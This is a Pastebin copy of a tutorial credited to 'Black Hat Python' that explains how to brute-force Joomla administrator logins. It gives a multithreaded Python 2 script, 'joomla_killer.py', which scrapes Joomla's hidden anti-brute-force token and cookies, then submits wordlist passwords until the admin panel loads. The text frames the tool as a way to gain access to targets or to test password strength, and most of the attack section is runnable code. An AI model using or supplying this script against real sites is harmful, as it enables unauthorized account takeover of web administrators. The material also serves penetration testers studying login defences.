Advertisement
mouhsineelachbi

Brute-Forcing HTML Form Authentication Using Python

Aug 11th, 2016
813
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.15 KB | None | 0 0
  1. In this article i will show how you can brute-force HTML from authentication using python code.
  2.  
  3. There may come a time in your web hacking career where you need to either gain access to a target,
  4. or if you’re consulting, you might need to assess the password strength on an existing web system. It
  5. has become more and more common for web systems to have brute-force protection, whether a
  6. captcha, a simple math equation, or a login token that has to be submitted with the request. There are a
  7. number of brute forcers that can do the brute-forcing of a POST request to the login script, but in a lot
  8. of cases they are not flexible enough to deal with dynamic content or handle simple “are you human”
  9. checks. We’ll create a simple brute forcer that will be useful against Joomla, a popular content
  10. management system. Modern Joomla systems include some basic anti-brute-force techniques, but still
  11. lack account lockouts or strong captchas by default.
  12. In order to brute-force Joomla, we have two requirements that need to be met: retrieve the login token
  13. from the login form before submitting the password attempt and ensure that we accept cookies in our
  14. urllib2 session. In order to parse out the login form values, we’ll use the native Python class
  15. HTMLParser. This will also be a good whirlwind tour of some additional features of urllib2 that
  16. you can employ when building tooling for your own targets. Let’s get started by having a look at the
  17. Joomla administrator login form. This can be found by browsing to
  18. http://<yourtarget>.com/administrator/. For the sake of brevity, I’ve only included the relevant
  19. form elements.
  20.  
  21.  
  22.  
  23. &lt;form action="/administrator/index.php" method="post" id="form-login"
  24. class="form-inline"&gt;
  25. &lt;input name="username" tabindex="1" id="mod-login-username" type="text"
  26. class="input-medium" placeholder="User Name" size="15"/&gt;
  27. &lt;input name="passwd" tabindex="2" id="mod-login-password" type="password"
  28. class="input-medium" placeholder="Password" size="15"/&gt;
  29. &lt;select id="lang" name="lang" class="inputbox advancedSelect"&gt;
  30. &lt;option value="" selected="selected"&gt;Language - Default&lt;/option&gt;
  31. &lt;option value="en-GB"&gt;English (United Kingdom)&lt;/option&gt;
  32. &lt;/select&gt;
  33. &lt;input type="hidden" name="option" value="com_login"/&gt;
  34. &lt;input type="hidden" name="task" value="login"/&gt;
  35. &lt;input type="hidden" name="return" value="aW5kZXgucGhw"/&gt;
  36. &lt;input type="hidden" name="1796bae450f8430ba0d2de1656f3e0ec" value="1" /&gt;
  37. &lt;/form&gt;
  38. Reading through this form, we are privy to some valuable information that we’ll need to incorporate
  39. into our brute forcer. The first is that the form gets submitted to the /administrator/index.php
  40. path as an HTTP POST. The next are all of the fields required in order for the form submission to be
  41. successful. In particular, if you look at the last hidden field, you’ll see that its name attribute is set to a
  42. long, randomized string. This is the essential piece of Joomla’s anti-brute-forcing technique. That
  43. randomized string is checked against your current user session, stored in a cookie, and even if you are
  44. passing the correct credentials into the login processing script, if the randomized token is not present,
  45. the authentication will fail. This means we have to use the following request flow in our brute forcer
  46. in order to be successful against Joomla:
  47. 1. Retrieve the login page, and accept all cookies that are returned.
  48. 2. Parse out all of the form elements from the HTML.
  49. 3. Set the username and/or password to a guess from our dictionary.
  50. 4. Send an HTTP POST to the login processing script including all HTML form fields and our
  51. stored cookies.
  52. 5. Test to see if we have successfully logged in to the web application.
  53. You can see that we are going to be utilizing some new and valuable techniques in this script. I will
  54. also mention that you should never “train” your tooling on a live target; always set up an installation
  55. of your target web application with known credentials and verify that you get the desired results.
  56. Let’s open a new Python file named joomla_killer.py and enter the following code:
  57.  
  58.  
  59.  
  60. import urllib2
  61. import urllib
  62. import cookielib
  63. import threading
  64. import sys
  65. import Queue
  66. from HTMLParser import HTMLParser
  67. # general settings
  68. user_thread = 10
  69. username = "admin"
  70. wordlist_file = "/tmp/cain.txt"
  71. resume = None
  72. # target specific settings
  73. target_url = "http://192.168.112.131/administrator/index.php"
  74. target_post = "http://192.168.112.131/administrator/index.php"
  75. username_field= "username"
  76. password_field= "passwd"
  77. success_check = "Administration - Control Panel"
  78. These general settings deserve a bit of explanation. The target_url variable is where our script
  79. will first download and parse the HTML. The target_post variable is where we will submit our
  80. brute-forcing attempt. Based on our brief analysis of the HTML in the Joomla login, we can set the
  81. username_field and password_field variables to the appropriate name of the HTML elements.
  82. Our success_check variable is a string that we’ll check for after each brute-forcing attempt in
  83. order to determine whether we are successful or not. Let’s now create the plumbing for our brute
  84. forcer; some of the following code will be familiar so I’ll only highlight the newest techniques.
  85.  
  86. class Bruter(object):
  87. def __init__(self, username, words):
  88. self.username = username
  89. self.password_q = words
  90. self.found = False
  91. print "Finished setting up for: %s" % username
  92. def run_bruteforce(self):
  93. for i in range(user_thread):
  94. t = threading.Thread(target=self.web_bruter)
  95. t.start()
  96. def web_bruter(self):
  97. while not self.password_q.empty() and not self.found:
  98. brute = self.password_q.get().rstrip()
  99. jar = cookielib.FileCookieJar("cookies")
  100. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  101.  
  102. response = opener.open(target_url)
  103. page = response.read()
  104. print "Trying: %s : %s (%d left)" % (self.username,brute,self.
  105. password_q.qsize())
  106. # parse out the hidden fields
  107. parser = BruteParser()
  108. parser.feed(page)
  109. post_tags = parser.tag_results
  110. # add our username and password fields
  111. post_tags[username_field] = self.username
  112. post_tags[password_field] = brute
  113. login_data = urllib.urlencode(post_tags)
  114. login_response = opener.open(target_post, login_data)
  115. login_result = login_response.read()
  116. if success_check in login_result:
  117. self.found = True
  118. print "[*] Bruteforce successful."
  119. print "[*] Username: %s" % username
  120. print "[*] Password: %s" % brute
  121. print "[*] Waiting for other threads to exit..."
  122. This is our primary brute-forcing class, which will handle all of the HTTP requests and manage
  123. cookies for us. After we grab our password attempt, we set up our cookie jar using the
  124. FileCookieJar class that will store the cookies in the cookies file. Next we initialize our urllib2
  125. opener, passing in the initialized cookie jar, which tells urllib2 to pass off any cookies to it. We
  126. then make the initial request to retrieve the login form. When we have the raw HTML, we pass it off
  127. to our HTML parser and call its feed method, which returns a dictionary of all of the retrieved
  128. form elements. After we have successfully parsed the HTML, we replace the username and password
  129. fields with our brute-forcing attempt. Next we URL encode the POST variables, and then pass
  130. them in our subsequent HTTP request. After we retrieve the result of our authentication attempt, we
  131. test whether the authentication was successful or not . Now let’s implement the core of our HTML
  132. processing. Add the following class to your joomla_killer.py script:
  133.  
  134.  
  135.  
  136. class BruteParser(HTMLParser):
  137. def __init__(self):
  138. HTMLParser.__init__(self)
  139. self.tag_results = {}
  140. def handle_starttag(self, tag, attrs):
  141. if tag == "input":
  142. tag_name = None
  143. tag_value = None
  144. for name,value in attrs:
  145. if name == "name":
  146. tag_name = value
  147. if name == "value":
  148. tag_value = value
  149. if tag_name is not None:
  150. self.tag_results[tag_name] = value
  151. This forms the specific HTML parsing class that we want to use against our target. After you have the
  152. basics of using the HTMLParser class, you can adapt it to extract information from any web
  153. application that you might be attacking. The first thing we do is create a dictionary in which our
  154.  
  155. results will be stored. When we call the feed function, it passes in the entire HTML document and
  156. our handle_starttag function is called whenever a tag is encountered. In particular, we’re looking
  157. for HTML input tags and our main processing occurs when we determine that we have found one.
  158. We begin iterating over the attributes of the tag, and if we find the name or value attributes, we
  159. associate them in the tag_results dictionary. After the HTML has been processed, our bruteforcing
  160. class can then replace the username and password fields while leaving the remainder of the
  161. fields intact.
  162.  
  163. To wrap up our Joomla brute forcer, let’s copy-paste the build_wordlist function from our previous
  164. section and add the following code:
  165. # paste the build_wordlist function here
  166.  
  167. words = build_wordlist(wordlist_file)
  168. bruter_obj = Bruter(username,words)
  169. bruter_obj.run_bruteforce()
  170. That’s it! We simply pass in the username and our wordlist to our Bruter class and watch the magic
  171. happen.
  172.  
  173. Source: Blackhat Python
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement